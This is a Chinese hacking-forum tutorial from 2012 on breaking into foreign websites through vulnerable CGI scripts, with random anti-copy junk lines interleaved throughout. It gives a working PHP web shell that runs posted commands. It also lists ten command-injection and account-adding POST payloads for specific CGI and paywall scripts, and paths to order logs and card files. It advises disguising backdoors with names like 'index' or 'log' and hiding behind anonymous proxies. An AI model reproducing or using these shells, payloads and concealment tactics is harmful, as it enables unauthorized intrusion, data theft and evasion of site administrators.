中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
+ z3 j; ?/ [+ M' y6 g% v
大家好 我是bboyhip 只是一名菜菜的exploiter
' `* I; C( k7 _ o: W$ a
很开心来到贵论坛
; H6 [) H7 ^' ^5 J7 c
这里让我感觉 很有技术交流的感觉
8 Z! u* }1 W+ n. @
我会长长来玩的
* p* G$ R4 d/ g% O) a
前言:
% k# k9 P% m% Y( J
以下讲解针对欧美日本网站
' k8 d0 Q- ^) |. ~. m# ~% k5 H% \/ O
當我們在做滲透分析的時候 方法有很多
3 S6 ~7 p" B! L4 ], O
我门都知道 国外伺服器大多是linux 平台
; C+ ]+ j: {6 K: Q2 Y7 B
所以有很多网站程序有6成都会使用cgi 脚本来管理
6 ]& W5 |; p, _2 X
目录为/cgi-bin/
( M+ j v. E' @. ~4 m
- C; H0 n* g+ W6 q
只是个人在实务上一些经验
! K+ D9 E( t% g; a
写的不好 请多多见谅喔
3 J% m3 p9 j& w. N) r* @* S9 t
在这里我简单分为几个部份一定要會的
% y# z% `8 N2 n8 v' i" _
讲解一下
/ a$ J. c, B% y8 {6 T
让没有基础的人很容易上手
8 f4 E: E4 [# x7 A A0 L V
* n7 q* a) a$ Z2 c$ Y. S
以下内容跟帖回复才能看到
0 y( i0 \) u6 V2 V+ ~4 G7 G
==============================
y# |, n' @* p
9 L7 e, _: d; c( ^0 ~8 N
第1部份: 何谓Shell?
4 F# V! |: ? _6 Y
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
! r# c6 U d+ J, J. w
A shell is the program which reads user input from the command line and executes actions based upon that input.
# A4 e+ I; S# l7 h' ~
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
# f( t" i( ?0 f
' t( z1 z; g* }5 \8 y) Y g( z$ N
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
4 X7 {: N# ^9 }7 h' c
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
5 u+ Y5 A" V7 m: w( i4 A
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
+ k) g! q5 j0 }! x6 @ r
) T" k0 j4 O) N: f* ~6 `$ s, N
第2部份: Unix 指令
1 Z# H8 O* P* A( N, J4 w2 _' C
以下是一些常见及重要的指令:
. R( }7 V. d' v2 C8 \
pwd: 显示当前目录, 即是後门/程式所在的位置
/ x% \! u0 H' c; `# H- ?8 p
如 /home/www/site.com/cgi-bin/
7 e6 O, C* A( K+ t( j
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
% s- X- _+ B$ }8 k: X+ F! _
ls -al :详细列出档案资料(当前目录)
3 |* w& \ N2 S# s
ls /: 列出根目录
9 M- S! E) i! z4 L
ls /etc: 列出/etc的资料夹及档案
7 S2 |4 h. a; D4 `, ]6 b" D
ls ../ -al: 详细列出上一层的资料夹及档案
! X! }- E8 P2 H+ P
cat: 显示档案内容
0 e4 N& h( L$ [7 ?5 U5 ~, I+ z
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
+ t' m) k; n8 v: n* b- ~) U* K
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
/ b5 n# R- x* Q4 Q& o
who: 显示谁login 至系统
2 C! v! ^5 r# S- i3 Q- T$ v, q
man: 显示指令用法
* K/ \- \& X9 E+ J9 U/ @! f
man ls: 显示ls这指令的用法
. W' u6 z0 D7 A' v0 z
mkdir 建立目录
* L/ X7 S; Y, t
rmdir 删除目录
# i, U7 D7 ]0 p( h4 a6 F) s) {
mv 移动档案
" T* n: r. ~% \4 E- _0 x6 c q d3 H6 x
rm 删除档案
0 Z8 b8 Y$ w( Z! Y5 L; Y6 q; {
6 d u8 q1 ]7 u1 L( U
第3部份: Shell的使用
- O! m; E+ P* R, n8 L
例如:
. H! O8 I0 _9 k, p$ f0 Q( o8 |1 R
http://site.com/refer.php
, E: i O7 w" Q' u" D K
这是我的後门, 原代码如下:
* Q# [0 s0 I1 X! ~# N; ]1 u
<Form Action="#" Method="POST">
" S8 _: S: C& Q7 [( H
<Input type="text" name="cmd">
: X" P1 ~% v& g" M
<Input type="Submit">
0 B8 d' J; W5 v. `9 T3 Y' d
</Form>
/ F3 v& p4 r0 S1 p q O2 k# R
<?php
- Z9 W) C& M! {1 w, {& n5 X
$cmd = $_POST['cmd'];
( f* f5 o" J" d$ `' C
$Output = shell_exec($cmd);
& Q( q) K* K M( e! G7 |! R
echo $Output;
% l7 u+ q" l: m% ^
?>
% Z) }$ S3 w m- Z3 W# f
输入pwd, 可得到绝对路径:
+ S6 ~$ T& U- M) F
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
( J" L! K' X: }4 D* o8 a
' i& j. H3 }5 p' T u# t& T ^' [
第4部份: 注意事项
5 k, g% O% R, g, \& |0 m9 G
- 使用匿名代理, 保障自己
1 F7 F' K, v$ H& O9 }' F) }
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
" o0 P3 ?2 \9 a- G# g* S
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
2 Z2 n4 T2 r) D( l7 m: U3 j/ A- E
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
' {& X& \) Y& \6 s* L
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
& X- O7 W! F4 `1 ~) w+ b1 q
不容易被发现.
( W1 I5 ]- ]* }4 h; L
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
. a. b/ ]/ h( g" }8 }
针对网站的渗透分析方法太多了
4 K0 q9 a% Z! `
这篇文章的重点是cgi 脚本攻击
$ ~, h3 i! f* Q; Y! r
所以我用简单的叙述形容
3 B/ M: @( X' y+ O. y: t0 e
开始讲解脚本入侵过程:
* a2 W/ @5 l: v2 ^/ |
在这里提供一些方法思路让大家学习一下
3 v! C) \+ W% v9 ?# W' v
6 ^3 j6 {/ }- }1 n z
1.一开始对一个网站进行cgi漏洞扫描
+ A7 [$ N' I" V& G0 _
我们需要的东西有
7 n: j0 L% ^$ W4 @( q
扫洞工具 如:triton..等等
+ w) u n$ V: @
E表
' C9 c4 x6 W6 ?. p' D- g6 g& g5 `
如
/ U. f) v5 v: B+ A
/cgi-bin/add-passwd.cgi
1 L7 Q8 I/ m, j5 e5 t/ M
/WebShop/templates/cc.txt
% Y# u/ O9 E; z
/Admin_files/order.log
2 F+ B6 P g" K P9 g6 A1 X
/orders/mountain.cfg
' ~ J; Q2 D4 v* z" B* J
/cgi-sys/cart.pl
4 z% p: f. M9 @- f
/scripts/cart.pl
& s' q4 [* f/ E8 q: i
/htbin/cart.pl
0 v0 }4 e( H& g
E表来源可以是网路收寻或是自己的0 day
2 Q" r# i+ `6 _9 E4 R
0 u+ ?& v5 N# ^9 A" M8 g
2.怎样确认扫到的洞 是真的还假的?
! _* j) ~2 b) q; B$ F
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
9 o' H: m. R) j- o
一般都是在IE里先看一下的,记住这个返回码哦
8 N* T0 |+ V! {+ I9 h
ERROR:This script should be referenced with a METHOD of POST.
* P: K& P8 Z8 h4 q; q8 m
没有返回一定是假的
! y. r2 l M" R8 q4 z S! S/ P
3.重来来了 很多人都会问我
* A1 i- w& e3 x) ?: B& A2 a
他扫到很多洞 但是不会使用
9 l! D2 T i- `" P; I
因为这些漏洞 使用的语法 称为post
~2 x" F* B( i+ z
我们要找post 的方法很多
* c7 W6 X; o* Y0 ~
可以是源代码分析 找出介质
% k n4 C( E. q: c3 b
或是用抓包工具 抓他的语法...等等
& ?) P' j: O# }/ Z; Z1 W
* P S# q4 W3 B! j" H
以下我提供10个 cgi 洞以及使用方法post
2 r/ O! a+ ]" {) {
让大家可以针对网站去做扫描
0 v6 z7 ]2 X/ k4 m* c K( q E
/index.cgi
2 [. `; s K" ?) x2 y" q @
wei=ren&gen=command
0 Y0 l& N# C2 W7 a( b. x
/passmaster.cgi
6 t% N! e$ y9 @# K
Action=Add&Username=Username&Password=Password
5 o4 X; B+ z2 N/ g- c
/accountcreate.cgi
' h4 N3 |, c' J+ j- c
username=username&password=password&ref1=|echo;ls|
3 f" Y0 g3 M, s7 [' D( T( T
/form.cgi
( f ]' o. [5 b7 C' \2 T
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
: s0 E2 n% l0 w: ^6 C
/addusr.pl
6 o z5 }& I2 t6 H) D# L9 R
/cgi-bin/EuroDebit/addusr.pl
( K, ~3 T! v+ m; e. |& l
user=username&pass=Password&confirm=Password
+ _% |% ^; y& f6 j; e; t
/ccbill-local.asp
" C) l0 }/ e w2 {2 x! P ~9 O
post_values=username:password
, h, q0 I0 ~8 J9 Q0 R T; o
/count.cgi
6 ?( _9 H5 X- g; O
pinfile=|echo;ls -la;exit|
; u! y( e# [" f* y. t4 x! k
/recon.cgi
- \9 s$ ]' b$ a/ D8 C& M
/recon.cgi?search
6 Z( A+ M. H% h6 K
searchoption=1&searchfor=|echo;ls -al;exit|
7 p; ~7 \6 p% `* I
/verotelrum.pl
7 J7 h8 C+ b4 r# g9 o2 X* n1 [) K
vercode=username:password:dseegsow:add:amount<&30>
2 \+ O* ^: O x- U
/af.cgi_browser_out=|echo;ls -la;exit;|
) b( C3 A; ?3 x+ _/ T6 H
h; K8 I7 [( |& b7 S+ X) ^
今天就讲到这 感谢大家支持
( r- |$ F' y: O, U! y/ y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2